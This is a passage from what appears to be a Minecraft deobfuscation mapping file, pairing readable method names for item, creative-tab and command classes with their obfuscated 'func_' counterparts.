net/minecraft/item/ItemArmor/removeColor (Lnet/minecraft/item/ItemStack;)V net/minecraft/item/ItemArmor/func_82815_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/item/ItemArmor/access$000 ()[I net/minecraft/item/ItemArmor/access$000 ()[I +MD: net/minecraft/item/ItemArmor/hasColor (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemArmor/func_82816_b_ (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemArmor/getArmorMaterial ()Lnet/minecraft/item/ItemArmor$ArmorMaterial; net/minecraft/item/ItemArmor/func_82812_d ()Lnet/minecraft/item/ItemArmor$ArmorMaterial; +MD: net/minecraft/item/ItemArmorStand/applyRandomRotations (Lnet/minecraft/entity/item/EntityArmorStand;Ljava/util/Random;)V net/minecraft/item/ItemArmorStand/func_179221_a (Lnet/minecraft/entity/item/EntityArmorStand;Ljava/util/Random;)V +MD: net/minecraft/item/ItemArmorStand/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemArmorStand/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemAxe/getStrVsBlock (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F net/minecraft/item/ItemAxe/func_150893_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/ItemBanner/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemBanner/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemBanner/getItemStackDisplayName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemBanner/func_77653_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemBanner/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemBanner/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemBanner/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemBanner/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemBanner/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemBanner/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemBanner/getCreativeTab ()Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/item/ItemBanner/func_77640_w ()Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/item/ItemBanner/getBaseColor (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumDyeColor; net/minecraft/item/ItemBanner/func_179225_h (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/item/ItemBed/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemBed/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemBlock/getUnlocalizedName ()Ljava/lang/String; net/minecraft/item/ItemBlock/func_77658_a ()Ljava/lang/String; +MD: net/minecraft/item/ItemBlock/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemBlock/func_179222_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemBlock/setTileEntityNBT (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemBlock/func_179224_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemBlock/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemBlock/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemBlock/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemBlock/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemBlock/setUnlocalizedName (Ljava/lang/String;)Lnet/minecraft/item/ItemBlock; net/minecraft/item/ItemBlock/func_77655_b (Ljava/lang/String;)Lnet/minecraft/item/ItemBlock; +MD: net/minecraft/item/ItemBlock/getCreativeTab ()Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/item/ItemBlock/func_77640_w ()Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/item/ItemBlock/setUnlocalizedName (Ljava/lang/String;)Lnet/minecraft/item/Item; net/minecraft/item/ItemBlock/func_77655_b (Ljava/lang/String;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/ItemBlock/getBlock ()Lnet/minecraft/block/Block; net/minecraft/item/ItemBlock/func_179223_d ()Lnet/minecraft/block/Block; +MD: net/minecraft/item/ItemBlock/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemBlock/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemReed/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemReed/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemBoat/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBoat/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBook/getItemEnchantability ()I net/minecraft/item/ItemBook/func_77619_b ()I +MD: net/minecraft/item/ItemBook/isItemTool (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemBook/func_77616_k (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemGlassBottle/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemGlassBottle/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBow/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBow/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBow/onPlayerStoppedUsing (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V net/minecraft/item/ItemBow/func_77615_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V +MD: net/minecraft/item/ItemBow/getItemEnchantability ()I net/minecraft/item/ItemBow/func_77619_b ()I +MD: net/minecraft/item/ItemBow/onItemUseFinish (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBow/func_77654_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBow/getMaxItemUseDuration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemBow/func_77626_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemBow/getItemUseAction (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; net/minecraft/item/ItemBow/func_77661_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemSoup/onItemUseFinish (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemSoup/func_77654_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBucket/tryPlaceContainedLiquid (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/item/ItemBucket/func_180616_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/item/ItemBucket/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBucket/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBucket/fillBucket (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/Item;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBucket/func_150910_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/Item;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemCarrotOnAStick/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemCarrotOnAStick/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemCarrotOnAStick/shouldRotateAroundWhenRendering ()Z net/minecraft/item/ItemCarrotOnAStick/func_77629_n_ ()Z +MD: net/minecraft/item/ItemCarrotOnAStick/isFull3D ()Z net/minecraft/item/ItemCarrotOnAStick/func_77662_d ()Z +MD: net/minecraft/item/ItemCoal/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemCoal/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemCoal/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemCoal/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemMapBase/createMapDataPacket (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/network/Packet; net/minecraft/item/ItemMapBase/func_150911_c (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/network/Packet; +MD: net/minecraft/item/ItemMapBase/isMap ()Z net/minecraft/item/ItemMapBase/func_77643_m_ ()Z +MD: net/minecraft/creativetab/CreativeTabs$1/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$1/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$10/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$10/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$11/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$11/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$12/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$12/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$2/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$2/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$3/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$3/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$4/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$4/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$5/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$5/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$5/getIconItemDamage ()I net/minecraft/creativetab/CreativeTabs$5/func_151243_f ()I +MD: net/minecraft/creativetab/CreativeTabs$6/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$6/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$7/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$7/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$8/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$8/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs$9/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs$9/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs/getTabIndex ()I net/minecraft/creativetab/CreativeTabs/func_78021_a ()I +MD: net/minecraft/creativetab/CreativeTabs/hasRelevantEnchantmentType (Lnet/minecraft/enchantment/EnumEnchantmentType;)Z net/minecraft/creativetab/CreativeTabs/func_111226_a (Lnet/minecraft/enchantment/EnumEnchantmentType;)Z +MD: net/minecraft/creativetab/CreativeTabs/setBackgroundImageName (Ljava/lang/String;)Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/creativetab/CreativeTabs/func_78025_a (Ljava/lang/String;)Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/creativetab/CreativeTabs/displayAllReleventItems (Ljava/util/List;)V net/minecraft/creativetab/CreativeTabs/func_78018_a (Ljava/util/List;)V +MD: net/minecraft/creativetab/CreativeTabs/addEnchantmentBooksToList (Ljava/util/List;[Lnet/minecraft/enchantment/EnumEnchantmentType;)V net/minecraft/creativetab/CreativeTabs/func_92116_a (Ljava/util/List;[Lnet/minecraft/enchantment/EnumEnchantmentType;)V +MD: net/minecraft/creativetab/CreativeTabs/setRelevantEnchantmentTypes ([Lnet/minecraft/enchantment/EnumEnchantmentType;)Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/creativetab/CreativeTabs/func_111229_a ([Lnet/minecraft/enchantment/EnumEnchantmentType;)Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/creativetab/CreativeTabs/getTabLabel ()Ljava/lang/String; net/minecraft/creativetab/CreativeTabs/func_78013_b ()Ljava/lang/String; +MD: net/minecraft/creativetab/CreativeTabs/getTranslatedTabLabel ()Ljava/lang/String; net/minecraft/creativetab/CreativeTabs/func_78024_c ()Ljava/lang/String; +MD: net/minecraft/creativetab/CreativeTabs/getIconItemStack ()Lnet/minecraft/item/ItemStack; net/minecraft/creativetab/CreativeTabs/func_151244_d ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/creativetab/CreativeTabs/getTabIconItem ()Lnet/minecraft/item/Item; net/minecraft/creativetab/CreativeTabs/func_78016_d ()Lnet/minecraft/item/Item; +MD: net/minecraft/creativetab/CreativeTabs/getIconItemDamage ()I net/minecraft/creativetab/CreativeTabs/func_151243_f ()I +MD: net/minecraft/creativetab/CreativeTabs/getBackgroundImageName ()Ljava/lang/String; net/minecraft/creativetab/CreativeTabs/func_78015_f ()Ljava/lang/String; +MD: net/minecraft/creativetab/CreativeTabs/drawInForegroundOfTab ()Z net/minecraft/creativetab/CreativeTabs/func_78019_g ()Z +MD: net/minecraft/creativetab/CreativeTabs/setNoTitle ()Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/creativetab/CreativeTabs/func_78014_h ()Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/creativetab/CreativeTabs/shouldHidePlayerInventory ()Z net/minecraft/creativetab/CreativeTabs/func_78017_i ()Z +MD: net/minecraft/creativetab/CreativeTabs/setNoScrollbar ()Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/creativetab/CreativeTabs/func_78022_j ()Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/creativetab/CreativeTabs/getTabColumn ()I net/minecraft/creativetab/CreativeTabs/func_78020_k ()I +MD: net/minecraft/creativetab/CreativeTabs/isTabInFirstRow ()Z net/minecraft/creativetab/CreativeTabs/func_78023_l ()Z +MD: net/minecraft/creativetab/CreativeTabs/getRelevantEnchantmentTypes ()[Lnet/minecraft/enchantment/EnumEnchantmentType; net/minecraft/creativetab/CreativeTabs/func_111225_m ()[Lnet/minecraft/enchantment/EnumEnchantmentType; +MD: net/minecraft/command/CommandEffect/getRequiredPermissionLevel ()I net/minecraft/command/CommandEffect/func_82362_a ()I +MD: net/minecraft/command/CommandEffect/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandEffect/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandEffect/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandEffect/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandEffect/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandEffect/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandEffect/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandEffect/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandEffect/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandEffect/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandEffect/getAllUsernames ()[Ljava/lang/String; net/minecraft/command/CommandEffect/func_98152_d ()[Ljava/lang/String; +MD: net/minecraft/item/ItemTool/onBlockDestroyed (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemTool/func_179218_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemTool/getStrVsBlock (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F net/minecraft/item/ItemTool/func_150893_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/ItemTool/hitEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemTool/func_77644_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemTool/getIsRepairable (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemTool/func_82789_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemTool/getItemEnchantability ()I net/minecraft/item/ItemTool/func_77619_b ()I +MD: net/minecraft/item/ItemTool/getToolMaterial ()Lnet/minecraft/item/Item$ToolMaterial; net/minecraft/item/ItemTool/func_150913_i ()Lnet/minecraft/item/Item$ToolMaterial; +MD: net/minecraft/item/ItemTool/getToolMaterialName ()Ljava/lang/String; net/minecraft/item/ItemTool/func_77861_e ()Ljava/lang/String; +MD: net/minecraft/item/ItemTool/getItemAttributeModifiers ()Lcom/google/common/collect/Multimap; net/minecraft/item/ItemTool/func_111205_h ()Lcom/google/common/collect/Multimap; +MD: net/minecraft/item/ItemTool/isFull3D ()Z net/minecraft/item/ItemTool/func_77662_d ()Z +MD: net/minecraft/item/ItemDoor/placeDoor (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/block/Block;)V net/minecraft/item/ItemDoor/func_179235_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/block/Block;)V +MD: net/minecraft/item/ItemDoor/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemDoor/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemDoublePlant/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemDoublePlant/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/EnumDyeColor/getMetadata ()I net/minecraft/item/EnumDyeColor/func_176765_a ()I +MD: net/minecraft/item/EnumDyeColor/byDyeDamage (I)Lnet/minecraft/item/EnumDyeColor; net/minecraft/item/EnumDyeColor/func_176766_a (I)Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/item/EnumDyeColor/getDyeDamage ()I net/minecraft/item/EnumDyeColor/func_176767_b ()I +MD: net/minecraft/item/EnumDyeColor/byMetadata (I)Lnet/minecraft/item/EnumDyeColor; net/minecraft/item/EnumDyeColor/func_176764_b (I)Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/item/EnumDyeColor/getUnlocalizedName ()Ljava/lang/String; net/minecraft/item/EnumDyeColor/func_176762_d ()Ljava/lang/String; +MD: net/minecraft/item/EnumDyeColor/getMapColor ()Lnet/minecraft/block/material/MapColor; net/minecraft/item/EnumDyeColor/func_176768_e ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/item/EnumDyeColor/getName ()Ljava/lang/String; net/minecraft/item/EnumDyeColor/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/item/EnumDyeColor/toString ()Ljava/lang/String; net/minecraft/item/EnumDyeColor/toString ()Ljava/lang/String; +MD: net/minecraft/item/EnumDyeColor/values ()[Lnet/minecraft/item/EnumDyeColor; net/minecraft/item/EnumDyeColor/values ()[Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/item/ItemDye/spawnBonemealParticles (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V net/minecraft/item/ItemDye/func_180617_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/item/ItemDye/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemDye/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemDye/applyBonemeal (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/item/ItemDye/func_179234_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/item/ItemDye/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemDye/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemDye/itemInteractionForEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemDye/func_111207_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemDye/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemDye/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemCloth/getMetadata (I)I net/minecraft/item/ItemCloth/func_77647_b (I)I +MD: net/minecraft/item/ItemCloth/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemCloth/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemEgg/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemEgg/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemEmptyMap/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemEmptyMap/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemEnchantedBook/getAll (Lnet/minecraft/enchantment/Enchantment;Ljava/util/List;)V net/minecraft/item/ItemEnchantedBook/func_92113_a (Lnet/minecraft/enchantment/Enchantment;Ljava/util/List;)V +MD: net/minecraft/item/ItemEnchantedBook/getEnchantedItemStack (Lnet/minecraft/enchantment/EnchantmentData;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemEnchantedBook/func_92111_a (Lnet/minecraft/enchantment/EnchantmentData;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemEnchantedBook/getRandom (Ljava/util/Random;III)Lnet/minecraft/util/WeightedRandomChestContent; net/minecraft/item/ItemEnchantedBook/func_92112_a (Ljava/util/Random;III)Lnet/minecraft/util/WeightedRandomChestContent; +MD: net/minecraft/item/ItemEnchantedBook/addEnchantment (Lnet/minecraft/item/ItemStack;Lnet/minecraft/enchantment/EnchantmentData;)V net/minecraft/item/ItemEnchantedBook/func_92115_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/enchantment/EnchantmentData;)V +MD: net/minecraft/item/ItemEnchantedBook/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemEnchantedBook/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemEnchantedBook/getRandom (Ljava/util/Random;)Lnet/minecraft/util/WeightedRandomChestContent; net/minecraft/item/ItemEnchantedBook/func_92114_b 